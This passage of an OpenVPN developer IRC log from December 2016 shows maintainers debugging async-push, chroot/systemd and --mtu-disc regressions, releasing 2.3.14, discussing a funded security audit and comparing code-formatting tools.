fork 15:56 <@dazo> lev__: great you're here! We have an interesting issue with ticket 786 ... related to commit 0d1a75bfe241466 .... 15:56 <@dazo> http://community.openvpn.net/openvpn/ticket/786 15:56 <@vpnHelper> Title: #786 (OpenVPN burns 100% CPU polling fds) – OpenVPN Community (at community.openvpn.net) 15:57 <@dazo> lev__: seems there are two issues ... configure.ac does something odd with --enable/disable flags related to async-push ... and inotify_fd seems to be invalid when ASYNC macro flags are messed up 15:58 <@cron2> oh my... different openssl libraries and curl fighting again, I think 15:59 * cron2 never uses git: access, so this might be broken since months 16:00 <@dazo> cron2: regarding #786 ... I think the proper fix is actually fixing configure.ac ... testing my change right now, I think it's just a stupid oversight there 16:01 <@cron2> dazo: well, configure.ac is one aspect that needs fixing, but even if that feature is compiled in, it MUST NOT listen on fd 0 16:01 < Thermi> I'll just try to fix the patch in the menatime 16:01 < Thermi> *meantime 16:01 <@cron2> "if the inotify fd has not been armed" (because you just ran "openvpn --dev tun5 </dev/null") it should not add "0" to the fd poll list 16:02 <@cron2> so, two bugs for the price of one 16:02 <@dazo> cron2: right, but I'm looking into if we have this oddity just because confiugre.ac is wrong ... inotify_fd shouldn't be able to be 0 16:04 <@cron2> nah, the whole patch set depends on a single ENABLE_ASYNC_PUSH define - so either that is "all in" or "all not in" 16:04 <@cron2> the configure oddity is that it's "all in" when you call --disable-async-push 16:04 <@cron2> but why would inotify_fd be set to anything if no outstanding push is active, because you're on the client? 16:05 <@dazo> I've just barely started glaring at the C code ... just spotted things in configure.ac quite quickly, which I'm testing now 16:06 <@cron2> multi.top.c2.inotify_fd = inotify_init() is set in "tunnel_server_tcp" and "tunnel_server_udp_single_threaded", so, never on the client 16:06 <@dazo> ahh, right ... that can backfire 16:06 <@cron2> on a server, it would be always valid, right you are (because it's not per-file) 16:10 <@cron2> Thermi: now the 236 repo works, recompiled git 16:10 <@cron2> (without libcurl, which tends to have "interesting" side effects if there are two openssl versions on the same box) 16:11 <@dazo> I'll tackle these two issues separately, as they're not directly related ... just intersecting on the feature 16:11 <@cron2> dazo: ack. btw, there's also github PR70 16:11 <@cron2> * Fix --disable-async-push configure option 16:11 <@cron2> came in saturday 16:12 <@cron2> have seen it, but not looked more closely 16:12 < Thermi> cron2: Alright, cloned the repo. 16:12 <@cron2> cool 16:12 <@cron2> so, next try... go to sleep now *wave* 16:13 < Thermi> Bye. 16:13 <@dazo> ahh ... yeah, that's the exact same patch I have ... I'll mention this PR in my commit message 16:13 * dazo don't see patches which is not on the ML 16:16 < Thermi> v2.4_rc1 seems to break a lot of other things on my system. :( 16:16 <@dazo> Thermi: *that* is a scary message ... 16:16 < lev__> reproduced problem with --disable-async-push 16:17 < Thermi> dazo: But just stuff having to do with iproute2, it seems 16:17 <@dazo> lev__: I have the patch ready ... so if you're ready to ACK, it will go quickly in 16:17 * dazo just need to complete commit message and send to ML 16:17 < Thermi> dazo: https://bpaste.net/show/c591e4e79e59 16:18 < Thermi> I just cloned the repo, built the package, installed, restarted the unit and it broke 16:18 < Thermi> :< 16:18 * dazo brb 16:18 < Thermi> dazo: Maybe you're forking too early now? 16:19 < Thermi> My custom unit on Arch: https://bpaste.net/show/ffbf78a54d8d 16:19 < Thermi> Config: https://bpaste.net/show/8e7cb0095422 16:20 < lev__> dazo: is it same as https://github.com/OpenVPN/openvpn/pull/70/commits/63b92ec048ed1e132a91cf5193f73e9181467ae5 ? 16:20 <@vpnHelper> Title: Fix --disable-async-push configure option by doughdemon · Pull Request #70 · OpenVPN/openvpn · GitHub (at github.com) 16:21 < Thermi> Better journal output: https://bpaste.net/show/8e7399cb2613 16:31 < lev__> also reproduced 100% cpu usage with --enable-async-push 16:48 < lev__> yeah, we set inotify_fd in server mode only, since that option is not meant to be used in client mode, however inotify watcher is (wrongfully) armed in both modes 16:50 <@dazo> lev__: yeah, it's the same solution to the mail on the ML as the PR on github ... you got an idea how to avoid arming it wrongfully? ... I'll be around some more hours this night 16:50 <@dazo> ($kid got pretty harsh fever, so need to keep an eye on her too) 16:53 < lev__> dazo: probably just check if we're in server mode 16:57 <@dazo> lev__: will you send a patch? or should I give it a stab now? 16:57 <@vpnHelper> RSS Update - gitrepo: Fix wrong configure.ac parsing of --enable-async-push <https://github.com/OpenVPN/openvpn/commit/e62eccf025aa60ec268787d2aa4a46310ed1cd60> 17:01 <@dazo> Thermi: please try the rc1 stuff ... we further added some systemd improvements there ... using Type=notify, with sd_notify() calls happening within OpenVPN 17:01 < Thermi> dazo: what stuff specifically? 17:01 < lev__> dazo: I could send 17:01 <@dazo> Thermi: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13370.html 17:01 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3 1/2] Use systemd service manager notification (at www.mail-archive.com) 17:02 <@dazo> lev__: if you do, I'll review it today 17:02 <@dazo> Thermi: and https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13369.html 17:02 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2 2/2] Refuse to daemonize when running from systemd (at www.mail-archive.com) 17:03 < Thermi> "v3 1/2" and "v2 2/2"? :D 17:04 <@dazo> yeah 17:04 <@dazo> :) 17:04 < Thermi> hm. k. 17:19 < Thermi> dazo: At least the first patch is mangled 17:21 < Thermi> Hm. Wrong base. 17:43 < Thermi> dazo: In Master, chroot spawning is absolutely broken (master includes the patches you mentioned). The service fails to start. 17:43 < Thermi> systemd 232 17:44 < Thermi> https://bpaste.net/show/0e321cbfb513 17:44 < Thermi> https://bpaste.net/show/b20b132150fe 17:45 < Thermi> I just edited the path to the openvpn, so it would be correct. 17:45 < Thermi> My openvpn config (vpn.conf) contains #chroot /var/empty. I guess somebody broke the configuration parser. 17:48 < Thermi> Hrmpf. Even without those commented settings, it gives the same error. 17:48 < Thermi> So Master is broken right now. 17:55 < lev__> dazo: patch is on the list. I did a few tests (no cpu usage on client, server async-push feature with defer plugin) but I do not have t_client set up on that laptop 17:58 <@dazo> lev__: I'll have a look at it now 17:59 <@dazo> Thermi: I'm quite sure master is working ... I've used it on my laptop, but I'll test on a server too now 17:59 < Thermi> dazo: Doesn't for me. The logs and unit are there. 18:01 <@dazo> lev__: there's some inotify arming in mtcp.c:259 too ... multi_tcp_wait() 18:03 < lev__> dazo: yes, but that is called in server move 18:05 < lev__> inside tunnel_server_tcp method 18:07 * lev__ is going to bed and be back tomorrow 18:09 <@dazo> lev__: alright, I'll look carefully at it and provide a feedback on ML 18:09 <@dazo> g'night! 18:19 < Thermi> dazo: 2.4 without the special fd patches also fails at port-share. sd_notify patches seem to work. I get a Status now. 18:26 <@dazo> okay, I see there is some funky things happening with git master on my production server ... not related to chroot, but it seems not to run sd_notify() properly in server mode 18:44 <@dazo> meh ... it is chroot related .... the $NOTIFY_SOCKET is not available inside the chroot! 18:45 < m-a> hmmm... just wanted to roll 2.3.14 for FreeBSD but figured we don't have a tarball. 18:47 < m-a> Might be it's a few days out for FreeBSD then, but there are no deadlines that we could miss if it appears next week. Anything that I commit before EOY will make the 2017Q1 stable branch, and we do want 2.4 instead. 18:49 < ordex> slypknot: yesterday I've been out all afternoon long - not sure if you tried to reach me ? 21:00 <@dazo> Thermi: just sent a fix for the --chroot issues with the latest v2.4_rc1 when using systemctl/systemd 21:00 <@dazo> to the ML 21:23 <@vpnHelper> RSS Update - gitrepo: Arm inotify only in server mode <https://github.com/OpenVPN/openvpn/commit/7084a3993fa35c6fb71abe8aac7b30f442205e2a> 23:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 23:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Log closed Wed Dec 07 00:36:16 2016 --- Log opened Wed Dec 07 06:47:41 2016 06:47 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 1 voices, 17 normal] 06:47 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 06:47 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:03 <@dazo> cron2: 'make distcheck' is recommended for the tar.gz, once that pass successfully you use make dist-bz2 and dist-zip 07:03 <@dazo> Had I noticed that everything was ready for 2.3.14 this night, I'd prepared the tarballs for you 07:04 <@dazo> oh, and I PGP sign the tarballs before providing them to mattock :) 07:08 <@mattock> dazo: but you're a pedant 07:08 <@mattock> :P 07:09 <@dazo> mattock: I just try to be ... I do not have the master title yet :-P 07:27 < ordex> slypknot: around ? 07:34 * dazo pulls in lev__'s Changes.rst patch now 07:35 <@mattock> openvpn 2.3.14 is almost there 07:35 <@mattock> just a few minor details and the announcements 07:35 <@dazo> lev__: you're sloppy with 'git commit -s' ;-) 07:36 <@dazo> (not that it really matters in this latest commit though) 07:36 <@cron2> mattock: \o/ 07:36 <@cron2> dazo: I thought you pulled this night? Then you should have seen the tag :-) 07:37 <@dazo> yeah, I was too much focused on master/v2.4 I deliberately ignored anything 2.3 07:38 <@dazo> I noticed something happened in the release/2.3 ... when looking at the completed git fetch-all command ... but just moved on with my patching on master :) 07:39 <@dazo> (I usually start git fetch-all and then lets that process run in a terminal in the background) 07:43 < lev__> dazo: ah yes, will try to remember it next time 07:43 <@vpnHelper> RSS Update - gitrepo: Add "async push" feature to Changes.rst <https://github.com/OpenVPN/openvpn/commit/212ef1a409b375174dd81d52da34678ebab685ae> 07:55 <@dazo> :) 08:08 <@mattock> 2.3.14 is now officially out 08:15 <@plaisthos> whee 08:16 <@dazo> \o/ 08:18 <@plaisthos> 2.3.14 is really boring release :) 08:21 < ordex> lol 08:23 <@mattock> plaisthos: it truly is :D 08:31 <@dazo> hehehe 08:31 <@dazo> plaisthos: you know, we need to ensure all the excitement hits the 2.4 releases ;-) 09:43 * cron2 likes boring releases that do not blow up stuff 10:31 < ordex> can config-client-dir work without CRYPTO ? 10:34 < Thermi> dazo: I identified the issue later that night. The client and server dirs were missing. 10:35 <@cron2> ordex: dunno. Unlikely, though, as "which file to ship" is based on the CN of the client, and I'm not sure the "use username as common name" functionality is there #ifndef CRYPTO 10:36 < ordex> cron2: this matches what I had in mind. Although the ccd feature should not really be related to CRYPTO, no ? like when pushing ifconfig rules or other similar settings 10:37 < ordex> I was asking, because I think pf could be adapted to be very similar and use the CN as well for the filename 10:37 <@cron2> I'm not sure point-to-multipoint (= push functionality) is available at all without CRYPTO 10:37 < ordex> oh ok 10:38 <@plaisthos> ordex: does not make ssence 10:38 <@cron2> you can have "unencrypted point-to-point" without crypto, but I think the multipoint server needs TLS 10:38 <@plaisthos> since ccd needs push and push needs tls 10:38 <@cron2> (if only to secure the username+password sent...) 10:38 < ordex> yap 10:38 < ordex> plaisthos: oky 10:38 <@plaisthos> https://www.privateinternetaccess.com/blog/2016/12/private-internet-access-funds-openvpn-2-4-audit-noted-cryptographer-dr-matthew-green/ 10:38 <@vpnHelper> Title: Private Internet Access funds OpenVPN 2.4 audit by noted cryptographer Dr. Matthew Green | Privacy Online News (at www.privateinternetaccess.com) 10:38 < ordex> didn't know about this requirement 10:39 <@plaisthos> looks like that privacy provider is founding an OpenVPN 2.4 audit 10:39 <@cron2> .oO(why are they neither talking to us nor coordinating with ostif???) 10:39 <@plaisthos> "Caleb Chen is a digital currency advocate with years of writing and media experience. Caleb holds a Master's in Digital Currency from the University of Nicosia [...]" 10:39 <@plaisthos> that sounds like an anti endorsements :p 10:40 <@plaisthos> ah that the author of the news 10:40 <@plaisthos> nevermind 10:44 <@plaisthos> cron2: no idea, their client still uses 2.2. Maybe they want to jump to 2.4 and want an audit for that? 10:57 <@cron2> why oh why are linux programmers so daft... "the C compiler is called gcc! right!?" 10:58 < ordex> :D 11:01 <@plaisthos> so that is the real for abonding gcc on mac! 11:01 < Thermi> dazo: I have to say though, that port-share is still not working for ne, 11:01 < Thermi> *me 11:02 <@dazo> ordex: it should be possible to use --cipher none together with --tls-server/--tls-client ... which would enable --ccd ... but --ccd is strictly bound to --tls-server/--tls-client (which is set implicit when using --server/--client) 11:02 <@dazo> Thermi: port-share not working with cron2's patch fixing fd leaks? 11:02 <@dazo> Thermi: or port-share not working in general 11:02 <@dazo> ? 11:03 < Thermi> dazo: No, even without it. Generally, on v2.4_rc1. It just breaks completely. OpenVPN terminates and the client gets an unknown TLS error. 11:03 <@dazo> eek 11:03 <@dazo> that is bad 11:04 <@dazo> Okay, that sounds like something I need to look at today 11:09 < ordex> dazo: thanks for the explanation 11:10 < Kelticfox> Howdi all 11:10 <@dazo> Hey! 11:10 <+krzee> Kelticfox is with the https://www.privateinternetaccess.com/blog/2016/12/private-internet-access-funds-openvpn-2-4-audit-noted-cryptographer-dr-matthew-green/ audit 11:10 <@vpnHelper> Title: Private Internet Access funds OpenVPN 2.4 audit by noted cryptographer Dr. Matthew Green | Privacy Online News (at www.privateinternetaccess.com) 11:10 < Kelticfox> I'm not, but I work for PIA 11:11 <+krzee> ok you can clarify :D 11:11 < Kelticfox> sure, that I can 11:11 < slypknot> ordex: sorry, have been horribly busy .. FYI, I think I have managed to compile openvpn(win64) with your patches and the pf.dll (w64) and it appears to work (it loads and the server works) but I have not had a chance to test properly the packet filter yet but I think it works .. will let you know little later here and by email 11:12 < Kelticfox> krzee: What do you need clarified? 11:12 < ordex> slypknot: tno worries :) just doing my daily ping before going to bed :) thanks for testing it ! 11:13 <@dazo> Kelticfox: are you aware of this efforts? https://ostif.org/ostif-is-beginning-a-fundraiser-for-openvpn-lets-get-it-audited/ 11:13 <+krzee> Kelticfox: nothing for me, just brought you here to meet the devs and let you guys talk 11:13 <@dazo> Kelticfox: I don't mind getting good security audits of openvpn, that is truly wonderful! 11:13 < Thermi> dazo: What actually happens on the network is visible here: https://thermi.strangled.net/~thermi/openvpn-2-4_rc1-port-share-fail.pcapng 11:13 <+krzee> but my personal view on the audit is that i like it, the more auditing the better! 11:13 <@dazo> Kelticfox: but it could be good if the efforts where somewhat coordinated somehow 11:14 <@dazo> krzee++ 11:14 < Kelticfox> I wasn't aware, but then I don't really follow the development of OpenVPN as I leave that to better people than I :P 11:14 <@dazo> :) 11:14 < Kelticfox> I was just asked to reach out to you peeps as I'm always on IRC 11:27 < Kelticfox> Hey peeps. This is Caleb. He also works for PIA and can answer questions you have 11:27 <@dazo> welcome, caleb1! 11:27 < Kelticfox> (ie, Grill him!) 11:28 < caleb1> Hello everybody! My name is Caleb and I work at Private Internet Access. Happy to answer any questions 11:28 <@dazo> caleb1: we're really happy to see that you're interested in a security audit of OpenVPN 2.4 as well! I believe you're aware of the OSTIF efforts as well 11:29 <@dazo> What I think would be wonderful, because I welcome both audits wholeheartedly, is that those efforts are coordinated somehow so we can get a maximum benefit of this 11:30 <@dazo> I'm thinking that there are code paths which are truly critical (crypto stuff, f.ex) which would benefit from being audited by both parties ... but there are other parts which isn't that critical where the efforts could be shared and split between the auditors 11:30 <@dazo> this way, I would hope that OpenVPN could get an even broader covering audit as well 11:31 < caleb1> It is my sincere opinion that two audits are better than one as well. 11:32 <@dazo> Reviewing the complete OpenVPN will be quite an effort ... as it is so full of features and options it will be an incredibly big task to cover all of it 11:33 <@dazo> Also ... Fox-IT have also done some code audits too, I believe (syzzer can probably provide more details here) .... as part of the OpenVPN-NL effort ... https://openvpn.fox-it.com/ 11:33 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com) 11:34 < caleb1> We had been planning this audit since before OSTIF announced their fundraising and we fielded many requests from devs and also customers to join OSTIF's fundraising round but since we could secure a well known auditor, we decided to go ahead with that. 11:34 <@dazo> (Fox-IT are those who added support for PolarSSL/mbedTLS as an alternative to OpenSSL) 11:34 < caleb1> As we mentioned in the announcement we are open to cooperation and the end goal is to help the entire community. 11:34 < caleb1> Thanks for the info on the Fox-IT code audits. I wasn't aware of that. 11:35 <@dazo> caleb1: that's fair enough ... just lets try to get the maximum out of it :) I'd be less than satisfied if Matt Green and the OSTIF auditor ends up commenting on stuff in the option parser (to put it at an extreme) 11:36 <@dazo> The reason Fox-IT spent time implementing support for PolarSSL/mbed TLS was that auditing OpenSSL would just require too much efforts to manage within a reasonable time 11:39 < caleb1> Per our contract, Dr. Green will be focusing on the crytographic components. We definitely want OpenVPN and the community that uses it (of which we are only a part) to have maximum benefit from all this :). 11:40 <+krzee> so hes going to audit openssl? 11:41 <@dazo> caleb1: does that also include the socket code? (where TLS packets are sent/received?) 11:41 <@dazo> and what about the wire protocol parsing? Which then again includes user/password authentication credentials forwarding .... 11:42 < caleb1> Give me some time as I get all those questions answered for y'all. 11:42 <@dazo> :) 11:52 <@dazo> Thermi: Just tested --port-share on git master (commit 212ef1a409b37) 11:52 <@dazo> from the root OpenVPN source/git tree: src/openvpn/openvpn --proto tcp --port 443 --dev tun --ca sample/sample-keys/ca.crt --key sample/sample-keys/ca.crt --key sample/sample-keys/server.key --cert sample/sample-keys/server.crt --dh sample/sample-keys/dh2048.pem --server 10.8.0.0 255.255.255.0 --topology subnet --verb 4 --port-share 172.217.18.142 443 11:53 <@dazo> Client (running on a VM): openvpn --client --dev tun --proto tcp --port 443 --remote 192.168.122.1 --ca openvpn/sample/sample-keys/ca.crt --key openvpn/sample/sample-keys/client.key --cert openvpn/sample/sample-keys/client.crt --verb 4 11:53 <@dazo> That connects very fine, without any issues 11:53 <@dazo> Trying to connect to my OpenVPN server using https ... and I get exactly what I'd expect to see 11:53 < Thermi> Did you test the actual port share of the service that is port shared with? 11:53 < Thermi> Well, for me, openvpn just exits with code 1. 11:53 < Thermi> Logs are visible yesterday. 11:54 < Thermi> *were 11:54 <@plaisthos> Thermi: what linux distri are you using? 11:54 < Thermi> plaisthos: Arch. 11:54 < Thermi> Once again, logs: https://bpaste.net/show/449b18e3a1dd 11:55 <@plaisthos> running as root? 11:55 < Thermi> Yes. 11:55 < Thermi> Need CFLAGS or anything? 11:56 <@dazo> I'm building with the same CFLAGS Fedora/RHEL packages uses ... CFLAGS="-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64" 11:56 <@cron2> Thermi: can you try without chroot, please? 11:56 <@dazo> but that shouldn't have any impact on functionality 11:56 <@plaisthos> and higher verbosity? 11:56 <@plaisthos> also the ip route del might turn into exit 11:57 <@cron2> dazo: well, what do I know about linux and socketpair() - it could well need /dev/socket/something for that 11:57 <@dazo> CFLAGS? 11:57 <@cron2> chroot is generally a nice way to turn a working service into a support nightmare 11:57 <@dazo> chroot is a good thing to test though! 11:57 <@dazo> yes, I've noticed :) 11:58 < Thermi> https://bpaste.net/show/0b49679acd0b 11:58 <@cron2> chroot for "standard functionality" certainly should work :-) 11:58 <@dazo> agreed ... and we should probably have some chroot tests too 11:58 < Thermi> https://bpaste.net/show/56bc1d8e3474 11:59 <@dazo> Thermi: can we have the full config too? 11:59 < Thermi> dazo: of openvpn? Well, okay. 11:59 <@dazo> yeah ... just to compare against what I have which works 11:59 < Thermi> https://bpaste.net/show/022b21da38b7 12:00 <@plaisthos> I wonder why multihome is even allowed with tcp 12:01 <@dazo> --chroot works for me as well 12:01 <@plaisthos> I am also not 100% sure if port share is ipv6 safe 12:01 < Thermi> Only pertains Ipv4 here. 12:02 < Thermi> Even with "multhome" commented out, it breaks. 12:02 < Thermi> I guess it has to do with "--mtu-disc is not supported on this OS" 12:03 <@dazo> When I'm adding --mtu-disc yes on the server it breaks on my test 12:03 <@dazo> removing it, and it works 12:04 < Thermi> But ... I'm on Linux. 12:04 < Thermi> > Only supported on OSes such as Linux that supports the necessary system call to set. 12:04 <@dazo> it breaks even without --port-share and having --mtu-disc yes 12:04 < Thermi> Bug? 12:04 * dazo tests on v2.3.14 12:05 <@dazo> plausible ... I haven't used --mtu-disc before, so I dunno yet 12:06 <@dazo> Thermi: that is a regression from v2.3 ... I'm doing some git bisect now to figure out when it broke 12:23 <@dazo> commit 2bed089d31a12c2d0277e36a64964ebab6640f75 12:23 <@dazo> Author: Julien Muchembled <jm@nexedi.com> 12:23 <@dazo> Date: Sat Oct 10 11:44:51 2015 +0200 12:23 <@dazo> Fix --mtu-disc option with IPv6 transport 12:23 <@dazo> this is the commit which breaks --mtu-disc 12:24 <@dazo> plaisthos: ^^^ does that ring any bells? 12:27 <@syzzer> caleb1, Kelticfox: an audit by Matt Green, that's just plain awesome! 12:28 <@syzzer> I think this can nicely complement the efforts of OSTIF, as those are more focussed towards software security, while Matthew Green is the crypto wizard 12:28 <@dazo> ahh, good point! I didn't think of that distinction 12:38 * cron2 wonders why this breaks - one of my linux t_clients has --mtu-disc 12:38 <@cron2> indeed, 2a runs with "--mtu-disc yes", on Linux 12:38 <@dazo> it seems to be that proto_af is neither AF_INET nor AF_INET6 12:38 <@cron2> it might be broken on the *server* side, which I do not test 12:41 <@dazo> yeah, that's what I think is happening here 12:41 <@dazo> I'm trying to figure out now what that proto_af variable is when it chocks 12:42 <@cron2> thermi: so could you test port-share *without* mtu-disc, please? ;-) 12:42 <@cron2> agi has also sent in a "works for me" mail, so I think we're mostly good anyway, but still 12:46 < Thermi> cron2: That works. 12:47 <@cron2> good! thanks for testing, I'll go and merge. 12:54 <@vpnHelper> RSS Update - gitrepo: Refactor setting close-on-exec for socket FDs <https://github.com/OpenVPN/openvpn/commit/e35a788339497ec5c179a5d0a23f63824989ec3e> 12:55 < eworm> !meetings 12:55 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 12:55 <@cron2> - session->opt->crypto_flags_and &= ~(CO_PACKET_ID_LONG_FORM); 12:55 <@dazo> eworm: #openvpn-meeting today in about 12 minutes 12:56 < eworm> :D 12:56 < Thermi> dazo: Okay, so the regression will be fixed? What about the iproute2 errors? I don't think calling "ip link delete" and sorts is sensical. 12:56 < eworm> I knew the time, but did not remember the channel. 12:57 <@dazo> Thermi: that is not a regression, and has been like that since OpenVPN 2.0, at least .... that is also not a critical issue ..... --mtu-disc is a regression, so that must be fixed 12:57 < Thermi> dazo: Yes, I meant the --mtu-disc thing. 12:59 <@cron2> Thermi: we're not deleting a *link*, at least from what I can see in your logfile, but removing the addresses from the tun interface that we put there 12:59 <@cron2> which is good housekeeping 12:59 <@cron2> it fails if you downgrade permissions, but there is nothing we can do about it 12:59 <@dazo> cron2: proto_af == 0 on the server .... should we have a pass through on in the switch in this case? or should we enforce MTU_DISC in this case? 13:00 < Thermi> cron2: Ah, okay. But why? It makes no sense, because it will break communication over the tunnel, when there's already a client connected. I'm not using inetd or anything. 13:00 < Thermi> cron2: Oooh, okay. That only happens on exit. 13:00 <@cron2> Thermi: you are running into a fatal error. There is nothing more to do, except *end* 13:00 < Thermi> cron2: Got it. 13:00 <@cron2> :) 13:00 <@cron2> everything after "--mtu-disc is not supported on this OS" is "cleanup tasks" 13:01 <@cron2> dazo: I'm not sure what we should fall through to, or why we do not know the address family. The whole fall-through logic there is not pretty 13:02 <@dazo> exactly 13:02 <@dazo> I'm testing some client side --mtu-disc stuff now, to see what happens there 13:02 <@cron2> I think we should just "not do anything" except print a warning in this case (and require someone who needs this functionality on the server side to use --proto udp4 or --proto udp6 to force an AFI) 13:02 <@cron2> dazo: does it works if you force the protocol to "4" or "6"? 13:03 <@dazo> I can test that 13:03 <@cron2> (the problem with "not forcing 4 or 6" is that the end result depends on the OS - on Linux, it ends up being "4", on BSDs it's "dual-stack 6", so that part stinks anyway. It's better than 2.3 but still not really good) 13:04 <@cron2> so - having a "case AF_UNSPEC: msg(M_INFO "btw, mtu-disc not working because we're confused"); return;" 13:05 <@dazo> hehe 13:05 <@cron2> would still be silly, but not *break* existing configurations 13:05 < Thermi> I don't understand what the problem is in the first place. 13:05 <@dazo> I am leaning towards the msg(M_{WARN,INFO}, ...) ... approach 13:05 < Thermi> the openvpn process binds to an IPv4 address and a TCP port 13:05 <@dazo> not sure what would be best ... WARN or INFO 13:05 < Thermi> The only thing that is dual stack is the actual tunnel. 13:06 < Thermi> Use WARN, because the behaviour is not as intended. 13:06 <@dazo> Thermi: unless it is configured to bind to a v6 address only .... --proto udp6/tcp6 13:06 < Thermi> dazo: local is an IPv4 address. 13:06 <@cron2> Thermi: no, it's "an IP address" 13:07 <@cron2> technically 13:07 < Thermi> > local 188.68.37.10 13:07 <@cron2> and getaddrinfo() then does "things" 13:07 < Thermi> That is an IPv4 address. 13:07 < Thermi> Yes, you can write an IPv6 address in there, but in my case, it's an IPv4 address. 13:07 <@dazo> and we can't restrict ourselves to your case only 13:07 <@cron2> well, yeah. But for our code it's "an IP address", and we rely on getaddrinfo() to "do the right thing" - which usually works, but sometimes bits of the system seem to not get the info propagated 13:08 <@mattock> -> meeting 13:08 < Thermi> dazo: Sure, but if "local" specifies an IPV4 address, you can do MTU disc for Ipv4, because the setting says so. 13:08 * dazo brb 13:08 <@cron2> our socket handling code is a historically grown cross-platform nightmare, even if plaisthos spent quite some effort to clean things up (and did wonders for the *client* side) 13:09 <@cron2> Thermi: right, we should know AF_INET in that case, but I think we do not generally set it as in the "IPV6ADDR_ANY" we just take what the system gives us, which can be v4 or v6, whatever the system prefers 13:10 <@cron2> most likely it's just something that needs to set *that* proto_af from ai_addr->ai_family... but we're not going to fix that in the short run unless plaisthos has a great idea 13:10 < Thermi> cron2: :( 13:11 <@cron2> the code looks like any code that runs on everything with a socket API including windows *and* has had contributors adding "wow, feature!" for 10+ years... 13:40 <@vpnHelper> RSS Update - gitrepo: Fix (and cleanup) crypto flags in combination with NCP <https://github.com/OpenVPN/openvpn/commit/84f88ca4d57cd0dc40fd945e09ab1cea1b2cd0b7> 15:06 <@syzzer> heh, plaisthos woke up 15:11 <@plaisthos> syzzer: returned from sport 15:12 <@syzzer> cron2: before you push the deprecate --no-iv patch (seems you haven't yet), please check plaisthos' typo comment 15:12 <@cron2> I didn't? meh 15:12 <@syzzer> it's not on github at least 15:12 <@cron2> did I send the mail? 15:12 <@syzzer> yeah, you did send the mail 15:12 <@syzzer> oh, but there's a git sha in there too 15:13 <@syzzer> well, whatever you please then 15:18 <@cron2> back to the cookie massacre... hope the chocolate has cooled enough to cut the stuff now without messing around too much 15:18 <@vpnHelper> RSS Update - gitrepo: Deprecate --no-iv <https://github.com/OpenVPN/openvpn/commit/4969f0d6bba8a82d411f0700c2e8e4efbeccb6c8> 15:18 <@cron2> "delicate subject", they say 15:21 <@plaisthos> cron2: how did you end up with a commit that is acked by me but does not correct the typos I mentioned? :p 15:21 <@plaisthos> and for you: 😛 15:24 <@cron2> what? 15:24 <@cron2> argh 15:25 <@cron2> I fixed changes.rst, did "git commit --amend", but not "git commit --amend Changes.rst" 16:09 <@syzzer> dazo: how's the astyle mangling going? 16:14 <@dazo> syzzer: seems to be a bug in regards to the if() stuff we noticed .... so right now, I'm comparing this against what uncrustify can produce 16:14 <@dazo> syzzer: that if() issue was the only thing we noticed was bad? 16:14 <@syzzer> yeah, think so 16:14 <@dazo> alright, then I know what to aim for 16:15 <@dazo> :) 16:21 <@dazo> hmmmmm 16:21 <@dazo> #ifdef HAVE_CONFIG_H 16:21 <@dazo> -#include "config.h" 16:21 <@dazo> + #include "config.h" 16:21 <@dazo> do we want to indent inside #ifdef blocks? 16:23 * dazo thinks not 16:25 <@plaisthos> no 16:26 <@plaisthos> also indentation sometimes dependings on the #ifdefs if on/off 16:26 <@plaisthos> currently the style what seems logical 16:38 <@syzzer> no, don't indent preprocessor stuff 16:39 <@plaisthos> oh I mean that depending if an ifdef is true or not the logical idnetication of the c code changes 16:39 <@plaisthos> like 16:39 <@plaisthos> #if FEATURE 16:39 <@plaisthos> if (feature_enabled()) { 16:39 <@plaisthos> #endif 16:40 <@plaisthos> and cuorrsoponding #if FEATURE //} //#endif 16:41 <@syzzer> hm, indeed, interesting how the tools would tackle that 16:48 <@dazo> I've found a reason now why to prefer uncrustify ... this is beautifully done: 16:48 <@dazo> { 16:48 <@dazo> - msg (M_WARN, "TUN: %s IPv6 dns failed using service: %s [status=%u if_name=%s]", 16:48 <@dazo> - (add ? "adding" : "deleting"), strerror_win32 (ack.error_number, &gc), 16:48 <@dazo> + msg (M_WARN, 16:48 <@dazo> + "TUN: %s IPv6 dns failed using service: %s [status=%u if_name=%s]", 16:48 <@dazo> + (add ? "adding" : "deleting"), 16:48 <@dazo> + strerror_win32 (ack.error_number, &gc), 16:48 <@dazo> ack.error_number, dns.iface.name); 16:48 <@dazo> goto out; 16:48 <@dazo> } 16:50 <@plaisthos> btw. the previous way also violates gnu coding style 16:50 * dazo don't care for GNU coding style at all right now :) 16:50 <@plaisthos> if it is longer than 80 chars, one argument per line :) 16:50 <@dazo> now it's all about allman :) 16:50 <@plaisthos> or our spin of it :p 16:51 <@dazo> or rather, _our_ .... yeah :) 16:52 <@dazo> is this looking good to you guys? https://paste.fedoraproject.org/501316/50703148/ 16:53 <@dazo> line 688-706 is a bit oddish ... but I don't mind it that much 16:55 <@plaisthos> the no space beetween multiline protoypes looks a bit odd I would have added a space inbetween 16:55 <@dazo> which line? 16:55 <@plaisthos> 70 to 71 16:55 <@dazo> good point 16:56 <@plaisthos> I am friend of if ( ) { 16:56 <@plaisthos> } else if ( ){ 16:57 <@plaisthos> But don't care enought to fight for it :) 16:57 <@plaisthos> 650 to 665 looks a bit odd 16:58 <@plaisthos> if you did that manually you would have aligned all the comments 16:58 <@plaisthos> and yeah 688 looks odd 16:58 <@plaisthos> there is probably bitwise or in one line option 16:59 <@plaisthos> 837, did we format it that odd or is that uncrustify? 16:59 <@plaisthos> btw. have you checked with James, what his new coding style is? 17:00 <@dazo> -#if defined(_WIN32) || \ 17:00 <@dazo> - 